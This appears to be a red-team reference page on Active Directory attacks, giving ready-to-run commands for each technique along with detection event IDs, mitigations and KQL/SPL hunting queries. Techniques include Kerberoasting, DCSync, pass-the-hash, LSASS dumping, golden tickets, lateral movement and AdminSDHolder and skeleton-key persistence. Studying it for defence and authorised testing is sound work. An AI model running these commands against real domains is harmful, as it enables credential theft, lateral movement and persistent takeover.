🏴 Red Team

Active Directory Attack Reference

Kerberoasting, AS-REP Roasting, DCSync, Pass-the-Hash, Golden/Silver Tickets, BloodHound, ACL abuse — technique, tools, commands, detection, and mitigation for each.

Credential-Based AD Attacks

KerberoastingCriticalT1558.003▼

Request Kerberos service tickets for any SPN-registered account — tickets are encrypted with the service account's NTLM hash and can be cracked offline. No elevated privileges required; any domain user can request.

Tools & Commands
# Impacket
GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP -request -outputfile hashes.txt

# Rubeus (from Windows)
Rubeus.exe kerberoast /nowrap

# PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat

# Crack with Hashcat (mode 13100)
hashcat -m 13100 hashes.txt rockyou.txt
Detection
Windows EID 4769 (Kerberos service ticket request) with EncryptionType = 0x17 (RC4). High volume of 4769 from single user in short window. Honey pot SPNs — alert on any request for fake SPN.
Mitigation
Use AES-only encryption for service accounts (remove RC4). Apply Managed Service Accounts (MSAs) — passwords auto-rotate. Use Group MSAs (gMSAs) for service accounts — 256-char passwords. Alert on RC4 tickets (EID 4769 with 0x17).
AS-REP RoastingHighT1558.004▼

Accounts with "Do not require Kerberos preauthentication" enabled can have their AS-REP encrypted hash requested without any credentials — crackable offline. Requires knowing the username only.

Tools & Commands
# Impacket — no credentials needed
GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -outputfile asrep.txt

# Rubeus
Rubeus.exe asreproast /nowrap

# Crack (mode 18200)
hashcat -m 18200 asrep.txt rockyou.txt
Detection
Windows EID 4768 (Kerberos auth ticket request) without pre-auth (Failure code 0x0). Single DC request with no pre-auth flag. Honey accounts with this setting — alert on any request.
Mitigation
Never disable Kerberos pre-authentication unless essential. Audit: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}. Enable it for all accounts. Use strong passwords on accounts that must have it disabled.
DCSync — Domain Credential DumpCriticalT1003.006▼

Impersonate a Domain Controller using MS-DRSR (Directory Replication Service Remote Protocol) to request credential data for any account including KRBTGT. Does not require code on the DC — runs over the network.

Tools & Commands
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt

# Impacket (from Linux)
secretsdump.py domain.local/DA_user:password@DC_IP

# Requires: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights
Detection
Windows EID 4662 — directory service access by non-DC account for replication properties. Specifically: Object Type = {19195a5b-6da0-11d0-afd3-00c04fd930c9} and Properties containing {1131f6aa...}. Alert on any non-DC account triggering this.
Mitigation
Restrict DS-Replication permissions strictly to domain controllers. Audit accounts with replication rights: Get-ObjectAcl -DistinguishedName "dc=domain,dc=local" | ? {$_.ObjectAceType -match "Replication"}. Tier 0 isolation.
Pass-the-HashCriticalT1550.002▼

Use the NTLM hash of a user's password (obtained via LSASS dump, SAM extraction, or DCSync) to authenticate without knowing the plaintext password. Works against NTLM authentication endpoints — RDP, SMB, WMI.

Tools & Commands
# Mimikatz
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:HASH

# Impacket
wmiexec.py -hashes :HASH domain.local/Administrator@TARGET
psexec.py -hashes :HASH domain.local/Administrator@TARGET
smbexec.py -hashes :HASH domain.local/Administrator@TARGET

# CrackMapExec
cme smb TARGET -u Administrator -H HASH --exec-method wmiexec
Detection
Windows EID 4624 LogonType 3 (network logon) with NTLM authentication from unusual source. 4624 with NtLmSsp package when Kerberos expected. Anomalous lateral movement patterns in UEBA.
Mitigation
Enable Credential Guard (prevents NTLM hash extraction from LSASS). Implement Protected Users security group for privileged accounts. Restrict NTLM: Network Security → Restrict NTLM. Tier 0/1/2 segmentation.
LSASS Credential DumpingCriticalT1003.001▼

Dump credentials from LSASS (Local Security Authority Subsystem Service) process memory to extract plaintext passwords, NTLM hashes, and Kerberos tickets.

Tools & Commands
# Mimikatz (admin required)
sekurlsa::logonpasswords

# Task Manager method (interactive)
# Right-click LSASS in Task Manager → Create dump file

# ProcDump (Microsoft signed binary — LOLBin)
procdump.exe -ma lsass.exe lsass.dmp

# Comsvcs.dll (no AV tools needed)
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full

# Parse offline dump with Pypykatz (Linux)
pypykatz lsa minidump lsass.dmp
Detection
Sysmon EID 10 (ProcessAccess) targeting lsass.exe with PROCESS_VM_READ (0x10). Windows EID 4656 (handle to lsass). EDR: Mimikatz signatures. Memory scanning. WDigest detection.
Mitigation
Enable Credential Guard (Virtualisation Based Security). Enable RunAsPPL for LSASS (Protected Process Light — requires Secure Boot). Disable WDigest: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential=0. Protected Users group.
Golden TicketCriticalT1558.001▼

Forge a Kerberos Ticket Granting Ticket (TGT) using the KRBTGT account hash — valid for any user, any group, any duration. Provides persistent domain-level access that survives password changes of regular accounts.

Tools & Commands
# Requires: KRBTGT NTLM hash + Domain SID
# Step 1: Get KRBTGT hash via DCSync
lsadump::dcsync /domain:domain.local /user:krbtgt

# Step 2: Forge golden ticket (Mimikatz)
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-XXX /krbtgt:KRBTGT_HASH /id:500 /ptt

# Step 3: Use the ticket
dir \\DC\c$
psexec \\DC cmd.exe
Detection
EID 4768 with non-existent account name (forged tickets). EID 4769 with tickets exceeding configured MaxTicketAge. EID 4624 with suspicious SID history. Ticket lifetime anomalies (default Kerberos max is 10hr; golden tickets often set to 10 years).
Mitigation
Only mitigation: change KRBTGT password TWICE in succession (invalidates all existing golden tickets). Rotate KRBTGT password regularly (quarterly minimum, monthly recommended). Enable ATA/Defender for Identity — detects golden ticket usage patterns.

Lateral Movement Techniques

WMI Lateral MovementHighT1047▼

Use Windows Management Instrumentation to execute commands on remote systems. Requires admin credentials or hash. Leaves fewer artifacts than PSExec — no service creation.

Tools & Commands
# Impacket (Linux)
wmiexec.py domain.local/Admin:Pass@TARGET 'whoami'
wmiexec.py -hashes :NTLM_HASH domain.local/Admin@TARGET 'cmd.exe'

# PowerShell (Windows)
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'calc.exe' -ComputerName TARGET -Credential $cred

# CrackMapExec
cme wmi TARGET -u Admin -p Pass -x 'whoami'
Detection
Sysmon EID 20 (WmiEventConsumer) + EID 21. Windows EID 4648 (explicit credential logon). Network traffic on port 135 (WMI) to target. wmiprvse.exe spawning unusual child processes.
Mitigation
Restrict WMI access via DCOM security settings. Enable Defender for Endpoint WMI activity monitoring. Segment networks to limit WMI reachability.
PSExec / Remote Service CreationHighT1569.002▼

Execute commands on remote systems via SMB — copies executable to ADMIN$ share, creates and starts a Windows Service. Leaves significant artifacts (service creation, event log).

Tools & Commands
# Impacket PSExec
psexec.py domain.local/Admin:Pass@TARGET cmd.exe
psexec.py -hashes :NTLM domain.local/Admin@TARGET cmd.exe

# SysInternals PSExec (original)
psexec \\TARGET -u Admin -p Pass cmd.exe

# Alternative — SMBExec (service-less)
smbexec.py domain.local/Admin:Pass@TARGET
Detection
Windows EID 7045 (new service installed) — PSEXESVC or random name. EID 4697 (service installed in the system). Network: SMB traffic to ADMIN$. Sysmon EID 11: file creation in C:\Windows\.
Mitigation
Monitor service creation events (4697/7045) for unexpected services. Restrict SMB access between workstations. Implement micro-segmentation. Block inbound SMB at perimeter.
DCOM Lateral MovementHighT1021.003▼

Abuse Distributed COM objects to execute code on remote systems. Less monitored than WMI or SMB. Several DCOM applications support remote code execution: MMC20.Application, ShellWindows, ShellBrowserWindow.

Tools & Commands
# MMC20.Application
$obj = [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','TARGET'))
$obj.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c calc.exe','7')

# ShellWindows
$obj = [activator]::CreateInstance([type]::GetTypeFromProgID('Shell.Application','TARGET'))
$obj.Windows() | ? {$_.FullName -like '*explorer*'} | %{$_.Document.Application.ShellExecute('cmd.exe','/c whoami','C:\Windows\System32',$null,0)}
Detection
Sysmon EID 3 — network connections from mmc.exe, explorer.exe to remote hosts on port 135. EID 4624 Type 3 logon. DCOM-specific event sources in Windows logs.
Mitigation
Restrict DCOM launch/activation permissions (Component Services → DCOM Config). Enable AppLocker to limit what executables can be remotely started.
RDP Lateral Movement & HijackingHighT1021.001▼

Remote Desktop Protocol for lateral movement. Also: hijack existing RDP sessions of other users (requires SYSTEM privileges) to move laterally as that user without knowing their password.

Tools & Commands
# Standard RDP (with credentials)
mstsc /v:TARGET

# Session hijacking (requires SYSTEM)
# List sessions
query session /server:TARGET

# Hijack session ID 2 (no password needed if SYSTEM)
tscon 2 /dest:rdp-tcp#0

# Impacket RDP
rdp_check.py domain.local/Admin:Pass@TARGET
Detection
Windows EID 4778 (session reconnected) / 4779 (session disconnected). EID 4624 LogonType 10 (RemoteInteractive). Source IP anomalies. RDP connection at unusual hours.
Mitigation
Enable Network Level Authentication (NLA). Restrict RDP to jump server only. Enable MFA for RDP. Monitor EID 4778/4779 for session hijacking. Restrict who can connect to active sessions.

AD Enumeration Tools

ToolPurposeKey CommandsDetection
BloodHound + SharpHound Graph-based AD attack path visualisation — finds shortest path to Domain Admin SharpHound.exe -c All --zipfilename loot.zip; Load into BloodHound UI Sysmon EID 1: SharpHound process creation. LDAP queries: high-volume enumeration. Network: LDAP/RPC to all DCs simultaneously.
PowerView PowerShell AD enumeration — users, groups, ACLs, trusts, GPOs Get-DomainUser; Get-DomainGroup; Get-DomainComputer; Invoke-ACLScanner PowerShell ScriptBlock logging (EID 4104): PowerView cmdlets. LDAP queries from powershell.exe.
ldapdomaindump Dump AD via LDAP — outputs HTML/JSON/CSV reports ldapdomaindump -u domain\user -p pass ldap://DC_IP Network: large LDAP query volume from single client. Failed LDAP binds if anonymous.
CrackMapExec (CME) Network recon + lateral movement — SMB, LDAP, WMI, RDP cme smb 192.168.1.0/24 -u Admin -p Pass --shares; cme ldap DC -u user -p pass --users Network: SMB scan to all hosts. Logon failures (EID 4625) from single source. CME signature strings in logs.
Kerbrute Username enumeration via Kerberos pre-auth (no credentials) kerbrute userenum --dc DC_IP -d domain.local users.txt Kerberos EID 4768 failures (Failure code 0x6 = user not found) in bulk from single IP.
enum4linux / enum4linux-ng SMB enumeration — shares, users, groups, password policy enum4linux -a TARGET; enum4linux-ng -A TARGET Null session connections to SMB. Excessive share enumeration from single IP.
Impacket Suite Collection of network protocol tools — SMB, Kerberos, LDAP, DCE/RPC GetNPUsers.py; GetUserSPNs.py; secretsdump.py; wmiexec.py; psexec.py Impacket user-agent strings in SMB. Kerberos requests with unusual client strings. Python signature in memory.

AD Persistence Techniques

AdminSDHolder ACL AbuseCriticalT1098▼

AdminSDHolder is a special AD object that controls ACLs of privileged groups. If an attacker adds themselves to AdminSDHolder's ACL, the SDProp process (runs every 60 min by default) propagates that ACL to all protected groups — giving persistent DA-equivalent access.

Tools & Commands
# Add user to AdminSDHolder ACL (requires DA)
Import-Module ActiveDirectory
$acl = Get-Acl 'AD:CN=AdminSDHolder,CN=System,DC=domain,DC=local'
$user = 'domain\attacker'
$permission = [System.DirectoryServices.ActiveDirectoryRights]::GenericAll
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule((New-Object System.Security.Principal.NTAccount($user)),$permission,[System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($ace)
Set-Acl -AclObject $acl 'AD:CN=AdminSDHolder,CN=System,DC=domain,DC=local'
Detection
AD change events on AdminSDHolder object. EID 5136 (directory service object modification) on CN=AdminSDHolder. Alert on any ACL change to AdminSDHolder.
Mitigation
Audit AdminSDHolder ACL regularly. Remove unexpected ACEs. Restrict who has GenericWrite/WriteDACL on AdminSDHolder. Monitor SDProp propagation effects.
Skeleton Key AttackCriticalT1556.001▼

Patch LSASS on a domain controller to accept a master password ("skeleton key") for any account — all existing passwords still work. Requires DA privileges and physical/RDP access to DC. Does NOT survive DC reboot.

Tools & Commands
# Mimikatz (run on the DC as DA)
privilege::debug
misc::skeleton

# After injection, any user can log in with password 'mimikatz'
# Original passwords still work too

# Detection: reboot DC to remove
Detection
Windows EID 4673 (sensitive privilege use) on DC. Sysmon EID 10 — LSASS memory access from unusual process. DC-specific behavioral anomalies. Microsoft Defender for Identity detects skeleton key.
Mitigation
Enable Credential Guard on DCs (prevents LSASS patching). Monitor LSASS memory access events on DCs. Deploy Defender for Identity — it specifically detects skeleton key attacks.

Detection Queries — Active Directory Attacks

Kerberoasting — Spike in RC4 service ticket requests (KQL)

// Kerberoasting: multiple TGS requests with RC4 encryption SecurityEvent | where EventID == 4769 | where TicketEncryptionType == "0x17" // RC4-HMAC — weaker, crackable | where ServiceName !endswith "$" // Exclude computer accounts | summarize RequestCount=count(), Services=make_set(ServiceName) by SubjectUserName, IpAddress, bin(TimeGenerated, 10m) | where RequestCount >= 3 | sort by RequestCount desc

DCSync — Directory Replication by non-DC account (KQL)

// DCSync: replication rights used by non-Domain-Controller account SecurityEvent | where EventID == 4662 | where ObjectType contains "19195a5b-6da0-11d0-afd3-00c04fd930c9" // Domain-DNS class | where Properties has_any ( "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", // DS-Replication-Get-Changes "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" // DS-Replication-Get-Changes-All ) | extend ActorAccount = SubjectUserName | where ActorAccount !endswith "$" // Exclude computer (DC) accounts | project TimeGenerated, ActorAccount, SubjectDomainName, ObjectName, IpAddress

LSASS Access — Process memory read targeting LSASS (KQL)

// LSASS memory access — credential dumping DeviceEvents | where ActionType == "OpenProcessApiCall" | where FileName =~ "lsass.exe" | where InitiatingProcessFileName !in~ ( "MsMpEng.exe","SenseIR.exe","csrss.exe", "wininit.exe","services.exe","SecurityHealthService.exe" ) | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessParentFileName, InitiatingProcessAccountName | sort by Timestamp desc

Lateral Movement — Unusual RDP / WMI (SPL)

index=wineventlog EventCode IN (4624, 4648) (LogonType=10 OR LogonType=3) | stats count by SubjectUserName, src_ip, dest_host, LogonType | where count > 3 | eval risk = case( LogonType==10 AND count > 2, "HIGH - Multiple RDP lateral", LogonType==3 AND count > 5, "MEDIUM - Multiple network logons", true(), "LOW" ) | sort -count